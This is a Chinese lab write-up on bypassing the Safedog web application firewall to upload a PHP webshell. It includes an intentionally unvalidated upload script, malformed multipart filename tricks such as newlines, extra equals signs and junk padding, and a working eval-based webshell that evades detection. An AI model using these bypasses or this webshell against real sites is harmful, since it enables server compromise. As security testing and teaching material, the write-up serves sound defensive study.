0x00 前言:
继续上次 bypass 安全狗,这次测试的是 bypass 最新版安全狗来上传 php 一句话
0x01 实验环境:
win7 sp1 + phpstudy v8.1(apache 2.4) + 安全狗v4.0.2.665
服务端脚本:
<?php
use function \move_uploaded_file as test;
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
test($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
//test($_FILES["file"]["tmp_name"],"upload/" . "3.php");
//move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
// echo "Stored in: " . "upload/" . "3.php";
}
这里为什么要用 重命名函数move_uploaded_file呢, 而不是直接使用move_uploaded_file 呢?后面会说到。
0x01 出师不捷
尴尬,直接使用move_uploaded_file 被安全狗拦截
然后添加信任区之后也没法使用,访问upload.php还是被安全狗拦截
所以无奈之后,又强行先学了一波免杀,然后利用重命名函数的方法绕过了安全狗的检测
0x02 bypass 安全狗upload
现在就可以测试上传文件bypass 了
1.文件名换行绕过:
2.filename == 绕过 (使用更多的等号也可以)
3.filename=; 绕过
4.使用垃圾字符填充文件名:
(这里修改了一下服务端代码,重命名了一下文件名,不然会显示move_uploaded_file失败)
使用了大概9000多个垃圾字符,成功绕过
0x03 后记
总体来说文件上传bypass waf更多的是经验的积累。
具体绕过的大的方法可以分为:
(1)信息收集,看目标使用的是什么操作系统,什么版本的服务器,可以利用一些服务器解析漏洞和操作系统(::$data) 的特性来bypass
(2)修改请求包,构造畸形的请求包,比如第二个和第三个方法。
反正多试,比如删空格,加等号,修改一些字符串大小写等等
所以 光光靠waf 来拦截 危险文件上传是不够的,还需要在代码里面做更多的限制,比如限制后缀名,检查文件内容等等。
一个文件后缀名黑名单( 取自https://paper.seebug.org/219 )
最后附上我用的免杀这个版本安全狗的一句话:
<?php
define("hi","$_REQUEST[1]");
eval(hi);
?>
0x04 参考资料
1.http://www.cl4y.top/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0bypass%E5%AE%89%E5%85%A8%E7%8B%974-0/ 绕过安全狗4.0 (但是最近版安全狗用最后讲的那个用%00绕过不行了)
2.其他关于绕过waf 来文件上传的资料:(学习思路,但是测试最新安全狗用这些方法没法绕过)
https://www.freebuf.com/articles/web/125084.html
https://paper.seebug.org/219/